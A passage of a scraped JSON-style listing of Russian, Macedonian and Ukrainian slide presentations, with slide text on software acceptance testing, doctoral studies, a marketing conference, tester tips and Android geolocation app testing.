"description": "Приемка План приемо-сдаточных испытаний Несоответствие объемов приемо-сдаточных испытаний и системного тестирования Нет ничего, кроме плана приемо-сдаточного тестирования Увеличение времени приемо-сдаточных испытаний Задержка сдачи проекта и работа без оплаты заказчиком Планирование и согласование процедуры приемки (включая разработку и модификацию плана приемо-сдаточных испытаний) с начала проекта"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img51.jpg",
"description": "Приемка График приемо-сдаточных испытаний Определение перечня представителей заказчика, участвующих в проведении приемо-сдаточных испытаний, и их ожиданий Оптимистичные оценки времени и ресурсов для исправления дефектов, найденных во время приемо-сдаточных испытаний Увеличение времени приемо-сдаточных испытаний Задержка сдачи проекта и работа без оплаты заказчиком Планирование и согласование графика приемки"
},
{
"slide_number": "53",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img52.jpg",
"description": "От обучения … Рассматриваются конкретные действия и/или артефакты (например, риски) Реплики слушателей Попытка их использования закончилась неудачей Это никем не востребовано Никто не умеет с этим работать Никто не знает, зачем это нужно Работать с этим сложно Есть что-то похожее, но … Неизвестно, что это такое"
},
{
"slide_number": "54",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img53.jpg",
"description": "… к консалтингу Анализ соответствующего процесса и рекомендации по его совершенствованию Другая интерпретация реплик слушателей Процесс не дает ожидаемых результатов У процесса нет владельца Процессу никто не учит Никто не знает о преимуществах процесса Процесс неадекватно сложный / трудоемкий Есть что-то похожее на процесс, но … Процесса нет"
},
{
"slide_number": "55",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img54.jpg",
"description": "Риски консалтинга Совершенствование процессов не является стратегической целью компании Нет четкого видения бизнес-целей компании Нет четкого видения целей совершенствования процессов Нет поддержки высшего руководства Нет необходимых квалифицированных ресурсов - остаточный принцип Нет службы качества Нет мотивированных ответственных лиц Нет взаимодействия с производством - вовлечения проектных команд Нет полезных артефактов – лишь общие слова и рекомендации (орел и мыши)"
},
{
"slide_number": "56",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img55.jpg",
"description": "Пример 1 Проблема Оценки трудозатрат на тестирование для новых проектов, получаемые от экспертов, неточны Анализ Доступны сведения о завершенных проектах: Объем разработанного кода Число найденных дефектов Число дефектов, найденных заказчиком Суммарные трудозатраты в проекте Рекомендации Использовать доступные сведения для более точной оценки трудозатрат"
},
{
"slide_number": "57",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img56.jpg",
"description": "Пример 2 Проблема Отклонения от плана-графика работ по тестированию обнаруживаются слишком поздно Анализ Мониторинг проектов не производится Метрики проектов не собираются и не анализируются Рекомендации Разработать понятные метрики и использовать их для анализа хода проекта Регулярно отслеживать соответствие хода проекта плану-графику"
},
{
"slide_number": "58",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img57.jpg",
"description": "Пример 3 Проблема Повторяющиеся проблемы с тестированием во многих проектах Анализ Управление рисками не производится Проблемы в завершенных проектах не анализируются и не сдерживаются Рекомендации Разработать и внедрить процесс управления рисками (= управлению проектом – ДеМарко) Начать построение корпоративной базы рисков на основе данных завершенных проектов"
},
{
"slide_number": "59",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img58.jpg",
"description": "Пример 4 Проблема Процессы разработаны и опубликованы, но при их использование ничего не известно Анализ Служба качества отсутствует Поэтому контроль процессов не производится Рекомендации Создать службу качества Разработать процесс контроля процессов"
},
{
"slide_number": "60",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img59.jpg",
"description": "Пример 5 Проблема Процессы разработаны, опубликованы и внедрены, но используются не в соответствии с бизнес-целями Анализ Совершенствование процессов не ориентировано на цели компании Рекомендации Планировать активности по совершенствованию процессов в соответствии с целями компании (таймшиты в ресурсных проектах)"
},
{
"slide_number": "61",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img60.jpg",
"description": "Рекомендации Проводя обучение, интересоваться состоянием процессов Идентифицировать процессные проблемы и обращать на них внимание в тренингах В рамках консалтинга проводить анализ и обсуждать активности по совершенствованию процессов Оценивать востребованность этих активностей Предостерегать от активностей, которые не дают преимуществ"
},
{
"slide_number": "62",
"image": "https://mypresentation.ru/documents/cefa9309a0ca6589316da5989b28ea30/img61.jpg",
"description": "Спасибо за внимание! Вопросы? УЦ Luxoft www.luxoft-training.ru"
}
] |
https://mypresentation.ru/presentation/99613 | Докторските студии -трет циклус во високото образование на РМ Проф. Д-р Марика Башеска – Ѓорѓиеска УКЛО, Економски факултет-Приле | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img0.jpg",
"description": "Докторските студии -трет циклус во високото образование на РМ Проф. Д-р Марика Башеска – Ѓорѓиеска УКЛО, Економски факултет-Прилеп"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img1.jpg",
"description": "Osnovnata cel na ovoj proekt бешe da se razvie procedura, metodologija i izgotvi dokumentacija za sistemot na doktorski studii vo oblasta na op{testvenite nauki vo Makedonija, vo soglasnost so Bolowskata deklaracija i nacionalnata zakonska regulativa povrzana so visokoto obrazovanie."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img2.jpg",
"description": "Докторските студии во рамките на болоњскиот процес: Берлин, 2003 година, (Berlin Communiqué) за прв пат се додаваат докторските студии како трет циклус на студии во високото образование. се потенцира значењето на врската помеѓу третиот циклус на образование и истражувањето како прва фаза во кариерата на младите истражувачи, односно врската помеѓу Европското високо образование (EHEA) и областа на истражување (ERA). Берген, мај 2005 (Bergen Communiqué)"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img3.jpg",
"description": "ЕAU му дава главен приоритет на докторатот ЕAU му дава главен приоритет на докторатот Преку проектот „ Докторските програми за Европското општество на знаење“ (European Knowledge Society) го отвора дијалогот меѓу универзитетите и министерствата за образование за реформи на докторските програми. во 2005 година во Салцбург одржан Болоња семинар и усогласени и донесени десет основни принципи на идниот развој на докторските програми."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img4.jpg",
"description": "Лондонска конференција на министрите за високо образование во 2007 ЕАУ изготвува Извештај за идниот развој на докторските програми и основните принципи на нивно функционирање уште еднаш се потврдува дека докторските програми претставуваат трет циклус на образование и во исто време претставуваат прва фаза во кариерата на младите истражувачи. во Извештајот се нагласува дека клучна компонента на третиот циклус е напредокот во знаењето постигнат преку оригинално истражување што го прави третиот циклус единствен и различен од првиот и вториот. Заради тоа, фазата на обука во рамките на докторските студии го сочинува главниот линк меѓу областите на високо образование и истражувањето."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img5.jpg",
"description": "Проектот DOCSTUD имајќи ги предвид: сознанијата за начинот на организирање и функционирање на системите во земјите партнери во проектот, условите на функционирање на првите два циклуси на образование во МК, како и целокупното окружување, конзорциумот на проектот осмисли еден систем (модел) на докторски студии"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img6.jpg",
"description": "ПОЈДОВНИ ОСНОВИ НА МОДЕЛОТ Болоњската декларација и сите релевантни документи поврзани со неа Искуствата од повеќе универзитети од ЕУ а особено на партнерските институции во овој проект. Законската рамка за организацијата на високото образование во Р. Македонија а во тој контекст особено за докторските студии. Реалните состојби и процеси во високото образование во Р. Македонија и начинот и динамиката на неговата трансформација соглсно со Болоњска декларација и европските високобразовни стандарди."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img7.jpg",
"description": "Правна рамка за остварување на докторски студии Според ЗВО на МК: трет циклус на универзитетски студии се докторските студии кои траат по правило, три години и носат 180 ЕКТС. на докторски студии можат да се запишат кандидати по завршувањето на вториот циклус на академски студии. Универзитетот со општ акт го уредува стекнувањето на ЕКТС кредитите на докторските студии и ги пропишува ЕКТС кредитите потребни за пријава на докторски труд."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img8.jpg",
"description": "Докторските студии се завршуваат со полагање на сите испити, изработка и одбрана на докторски труд (дисертација). Со јавната одбрана на докторскиот труд се стекнува научен назив доктор на наука (dr.sc)"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img9.jpg",
"description": "1. Услови за пријавување и запишување на кандидатите на студиска програма на докторски студии Кандидатите се пријавуваат врз основа на објавен Конкурс. Во конкурсот прецизно се дефинирани условите и критериумите за пријавување и запишување на докторските студии. на предлог на ННС на Единицата на универзитетот, Ректорската управа на универзитетот ги определува: Условите за пријавување и запишување, бројот на кандидатите, износот на сумата што ја плаќаат кандидатите Конкурсот за запишување се објавува најдоцна 5 месеци пред почетокот на докторските студии."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img10.jpg",
"description": "Услови за пријавување на докторски студии : кандидатите да имаат завршен втор циклус на студии вториот циклус да биде компатибилен (соодветен) со профилот на докторските студии за кандидатите од сродна научна област универзитетот / факултетот / програмата утврдуваат дополнителни услови за запишување"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img11.jpg",
"description": "2. Академски тела За спроведување на студиска програма од трет циклус на студии – докторски студии во Универзитетот се формираат академски тела на две нивоа и тоа: Совет на докторски студии на ниво на универзитет Совет на докторски студии на ниво на единица на универзитет"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img12.jpg",
"description": "Советот на докторски студии на ниво на универзитет го сочинуваат: (1) раководителите на докторските студии на Единиците на универзитетот (2) надлежниот-те проректор-ри (3) тројца членови од различни научни области кои што на предлог на Ректорот од редот на редовните професори ги бира Сенатот на универзитетот со мандат од 3 или 4 години . Мандатот на останатите членови на Советот на докторските студии на универзитетот трае согласно со вршењето на нивните функции. Со Советот председава проректорот за настава."
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img13.jpg",
"description": "Советот на докторски студии на ниво на единица на универзитетот го сочинуваат: 5 професори од единицата на универзитетот кои ги избира ННС 2 професори од редот на професорите од соодветна научна област од универзитетот кои на предлог на ННС ги избира Советот на докторски студии на универзитетот. Раководителот и секретарот на докторските студии на единицата на универзитетот кои ги избира ННС за период од три години Мандатот на членовите на Советот трае три години претседава Раководителот ."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img14.jpg",
"description": "3.Административна логистика Административната поддршка на докторските студии и академските единици ќе ја извршуваат служби и тоа: На ниво на Универзитет На ниво на единица на универзитет"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img15.jpg",
"description": "4.Структура на докторските студии Докторските студии можат да бидат само академски. Докторските студии се состојат од две фази: Фаза на обука за истражување Фаза на изработка на докторска дисертација"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img16.jpg",
"description": "Докторските студии -трет циклус во високото образование на РМ Проф. Д-р Марика Башеска – Ѓорѓиеска УКЛО, Економски факултет-Приле, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img17.jpg",
"description": "Со запишувањето на докторските студии кандидатот се стекнува со статус на студент на докторски студии Со завршувањето на првата фаза, односно по изработката и позитивната оценка на трудот студентот се стекнува со статус на кандидат за докторат на науки (PhD кандидат)"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img18.jpg",
"description": "5. Процедура и надлежности Прва фаза: Прва година: Наставни предмети и/или семинари I семестар – наставни предмети и /или семинари Задолжителни Методологија на истражување во општествените науки Општ предмет од научната област на докторската програма"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img19.jpg",
"description": "II семестар - наставни предмети и /или семинари Изборни предмети – избор на 3 предмети од понудени 5 од научната област Семинар –методи на истражување во специјализираната област Семинар за вештини за пишување научен труд Втора година Мал пишан труд –пилот истражувачки труд околу 20 страници, на актуелна проблематика во областа и оценет од ментор."
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img20.jpg",
"description": "Втора фаза: Втора и трета година: Пријавување, изработка и одбрана на докторска дисертација Целта на докторската дисертација е авторот да даде придонес преку оригинално истажување што ги проширува границите на знаењето"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img21.jpg",
"description": "пријавување на тези и нивна одбрана пријавување на тези и нивна одбрана Одлука за подобност на тема, тези и кандидат носи Советот на докторски студии на ниво на единица на универзитет Тезите на докторската дисертација ги одобрува и се бранат пред Комисија од три члена и сите припаѓаат на научната област. Притоа: еден член од факултетот (ментор) , еден од универзитетот и еден од друг универзитет (национален или меѓународен)"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img22.jpg",
"description": "Менторство се организира преку два ментора: интерен и екстерен, при што интерниот е од единицата кадешто е организирана судиската програма, а екстерниот од универзитетот каде е членка единицата или пак од друг универзитет"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img23.jpg",
"description": "докторска дисертација и нејзина изработка докторската дисертација треба да биде во рамките на 200 – 300 страници Во текот на втората фаза – фазата на докторска дисертација кандидатот е должен до Менторите два пати годишно да поднесува извештај за постигнатиот напредок ."
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img24.jpg",
"description": "Дисертацијата ја оценува Комисија составена од 5 члена и тоа: интерниот ментор, двајца професори од единицата на универзитетот и два члена од универзитетот или друг универзитет . Извештајот за оценката на предлог на Советот на докторски на единицата го усвојува ННС на единицата. Извештајот се доставува и до Советот на докторски студии на универзитетот и истиот се објавува во Билтенот на универзитетот."
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img25.jpg",
"description": "јавна одбрана на дисертацијата Одбраната на докторската дисертација е јавна и се врши во просториите на единицата на универзитетот каде е организирана студиската програма јавната одбрана пред комисија од пет члена која што по правило е во истиот состав како и комисијата за оценка. Одлуката за составот се носи на истата седница на која што ННС се изјаснува за извештајот за оценка."
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img26.jpg",
"description": "Резултатите од докторската дисертација се изложуваат во вид на дисеминација на ниво на Универзитет Резултатите од докторската дисертација се објавуваат во научното списание на универзитетот како и во најмалку уште едно научно списание најдоцна една година после одбраната на дисертацијата."
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img27.jpg",
"description": "6. Распоредување на ЕКТС За предметите/семинарите во првиот семестар се доделуваат вкупно 30 кредити За предметите/семинарите и изработениот труд во вториот семестар и се доделуваат вкупно 60 кредити За фазата на докторска дисертација се доделуваат 90 кредити"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img28.jpg",
"description": "7. Јазик на докторските студии Јазикот на кој ќе се изведува наставата, семинарите, полагаат испитите, пишуваат текстовите е македонски/албански, а за определени делови –англиски. Докторската дисертација мора да биде пишувана на македонски/албански јазик Советот на докторски студии на ниво на Универзитет/единица на Универзитет одлучува за деловите што можат да бидат реализирани на англиски јазик."
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/e7d9cad5f2cbad65cb61be52bad247b6/img29.jpg",
"description": "8. Финансирање на докторските студии Кандидатите за докторски студии ги покриваат трошоците за студирање на следниве начини: Самостојно Преку вклучување во наставно- образовниот процес (вежби) Со користење стипендии од државата Со користење стипендии од меѓународни фондови"
}
] |
https://mypresentation.ru/presentation/99614 | Отчет о рекламной кампании | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img0.jpg",
"description": "Отчет о рекламной кампании"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img1.jpg",
"description": "18 февраля 2011 прошла первая национальная конференция по интернет – маркетингу и продвижению брендов в цифровом пространстве Ukrainian Digitals. 18 февраля 2011 прошла первая национальная конференция по интернет – маркетингу и продвижению брендов в цифровом пространстве Ukrainian Digitals. В конференции приняло участие 257 человек из 143 компаний, представляющих Киев, Днепропетровск, Минск, Кишинев, Трускавец и Николаев. Среди них:"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img2.jpg",
"description": "Отчет о рекламной кампании, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img3.jpg",
"description": "Отчет о рекламной кампании, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img4.jpg",
"description": "Отчет о рекламной кампании, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img5.jpg",
"description": "Отчет о рекламной кампании, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img6.jpg",
"description": "Отчет о рекламной кампании, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img7.jpg",
"description": "Отчет о рекламной кампании, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img8.jpg",
"description": "Отчет о рекламной кампании, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img9.jpg",
"description": "Отчет о рекламной кампании, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img10.jpg",
"description": "Отчет о рекламной кампании, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img11.jpg",
"description": "Отчет о рекламной кампании, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img12.jpg",
"description": "Отчет о рекламной кампании, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img13.jpg",
"description": "Отчет о рекламной кампании, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img14.jpg",
"description": "Отчет о рекламной кампании, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img15.jpg",
"description": "Отчет о рекламной кампании, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img16.jpg",
"description": "Отчет о рекламной кампании, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img17.jpg",
"description": "Отчет о рекламной кампании, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img18.jpg",
"description": "Отчет о рекламной кампании, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img19.jpg",
"description": "Отчет о рекламной кампании, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img20.jpg",
"description": "Аккредитационный пакет Аккредитационный пакет"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img21.jpg",
"description": "Аккредитационный пакет Аккредитационный пакет"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img22.jpg",
"description": "Итоги рекламной кампании: Итоги рекламной кампании: В первой конференции Ukrainian Digitals приняло участие 257 человек из 143 компаний, представляющих Киев, Днепропетровск, Минск, Кишинев, Трускавец и Николаев. Из них:"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/d2a460c24684f858873057f132bbeb94/img23.jpg",
"description": "С надеждой на плодотворное сотрудничество С надеждой на плодотворное сотрудничество"
}
] |
https://mypresentation.ru/presentation/99615 | СОВЕТЫ ХУДОЖНИКА ТЕСТИРОВЩИКУ Куминова Валерия ЗАО «НКТ» | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img0.jpg",
"description": "СОВЕТЫ ХУДОЖНИКА ТЕСТИРОВЩИКУ Куминова Валерия ЗАО «НКТ»"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img1.jpg",
"description": "НЕ БЫВАЕТ ПЛОХИХ РАБОТ, БЫВАЮТ НЕЗАКОНЧЕННЫЕ В тестировании: нет плохих программ, есть еще недоделанные."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img2.jpg",
"description": "РЕШИ, ЧТО В ТВОЕЙ КАРТИНЕ ГЛАВНОЕ, НА ЧЕМ ДОЛЖЕН БЫТЬ СОСРЕДОТОЧЕН ЦЕНТР ВНИМАНИЯ В тестировании: выясни цели проекта узнай, что должно получиться в итоге и что требуется от тебя"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img3.jpg",
"description": "ПРОДУМАЙ КОМПОЗИЦИЮ ДО ТОГО, КАК НАЧНЕШЬ МЕШАТЬ КРАСКИ НА ПАЛИТРЕ В тестировании: планы куда полезнее, чем иногда кажется"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img4.jpg",
"description": "ЕСЛИ ХОЧЕШЬ НАРИСОВАТЬ МАЛЕНЬКИЙ КУВШИН, НЕ НАДО БРАТЬ ХОЛСТ РАЗМЕРОМ СО СТЕНУ В тестировании: выбирать методики и средства нужно соответственно задаче"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img5.jpg",
"description": "ЕСЛИ У КИСТИ СЛИШКОМ ДЛИННЫЙ ВОРС, ПОДСТРИГИ ЕЕ В тестировании: Нужно менять методики под себя, если это повышает эффективность работы"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img6.jpg",
"description": "ХВАТИТ КОВЫРЯТЬСЯ В ДЕТАЛЯХ, ПОРА ЗАНЯТЬСЯ РАБОТОЙ В ЦЕЛОМ В тестировании: не нужно зарываться в детали раньше времени"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img7.jpg",
"description": "ДОДЕЛЫВАТЬ МОЖНО БЕСКОНЕЧНО, НО ЕСТЬ ЛИ СМЫСЛ СИДЕТЬ ЕЩЕ НЕСКОЛЬКО ЗАНЯТИЙ НАД ЭТОЙ РАБОТОЙ? В тестировании: баги не закончатся никогда, нужно понять, когда пора остановиться"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img8.jpg",
"description": "ЧТОБЫ ГОТОВАЯ КАРТИНА ВЫГЛЯДЕЛА ХОРОШО, ЕЕ НУЖНО ОФОРМЛЯТЬ В ПОДХОДЯЩУЮ РАМКУ В тестировании: всегда должен быть понятный и подходящий к задаче отчет."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/bb253b7d73a12e2343377f990401dace/img9.jpg",
"description": "ДЛЯ КАЖДОЙ КАРТИНЫ ВСЕ ЭТАПЫ ПРОДУМЫВАЮТСЯ ЗАНОВО Все этапы планирования нужно проходить заново, а не заимствовать без анализа"
}
] |
https://mypresentation.ru/presentation/99616 | Тестирование мобильного приложения для Android с функцией геолокации Шмонов Роман. Instream | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img0.jpg",
"description": "Тестирование мобильного приложения для Android с функцией геолокации Шмонов Роман. Instream"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img1.jpg",
"description": "Объект тестирования Цель презентации Рассказать об опыте тестирования мобильного приложения, имеющего следующие особенности: работа в режиме online функция геолокации ОС Android"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img2.jpg",
"description": "Тестирование Online-соединения: при автоматическом переключении WiFi/GPRS вне зоны действия GSM-сети и доступа к WiFi при некорректных настройках GPRS-соединения в телефоне при нуле на лицевом счете при отсутствии SIM-карты в телефоне недоступность сервера приложения запрет использования WiFi на телефона"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img3.jpg",
"description": "Определение местоположения телефона Получением точных координат от GPS-приемника Через координаты Базовой станций GSM оператора, к которой подключен телефон (Cell_ID)"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img4.jpg",
"description": "Тестирование получения GPS-координат при потере спутников из видимости телефона (данные, получаемые от GPS приемника не всегда актуальны) при автоматическом выключение приемника для энергосбережения при явном запрете использования приемника в настройках телефона"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img5.jpg",
"description": "Тестирование определения местоположения по Cell_ID Телефон не всегда возвращает идентификатор Базовой Станции Работа при отсутствие SIM-карты и доступном WiFi Ошибочные данные о местоположении базовой станции"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img6.jpg",
"description": "Тестирование работы приложения Во время звонка или при получении SMS Фоновая активность приложения при работе пользователя в других приложениях или системном меню В режим телефона «Airplane» Производительность телефона и разные сборки Android Логирование состояния приложения Юзабилити тесты на телефонах с разными диагоналями экрана"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img7.jpg",
"description": "Список используемого оборудования при тестировании CatLog WareShark GPS-статус WiFi-точка доступа Google Earth Яндекс карты"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img8.jpg",
"description": "Спасибо за внимание! Вопросы? Роман Шмонов, ведущий тестировщик [email protected]"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/8d186340207464e86e35f615e16b0331/img9.jpg",
"description": "Тестирование мобильного приложения для Android с функцией геолокации Шмонов Роман. Instream, слайд №10"
}
] |
https://mypresentation.ru/presentation/99617 | Булки не растут на деревьях детская образовательная среда. - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img0.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img1.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img2.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img3.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img4.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img5.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img6.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img7.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img8.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img9.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/c181fb8b6b2abba07b97a1f5905b5c35/img10.jpg",
"description": "Булки не растут на деревьях детская образовательная среда. - презентация, слайд №11"
},
{
"slide_number": "12",
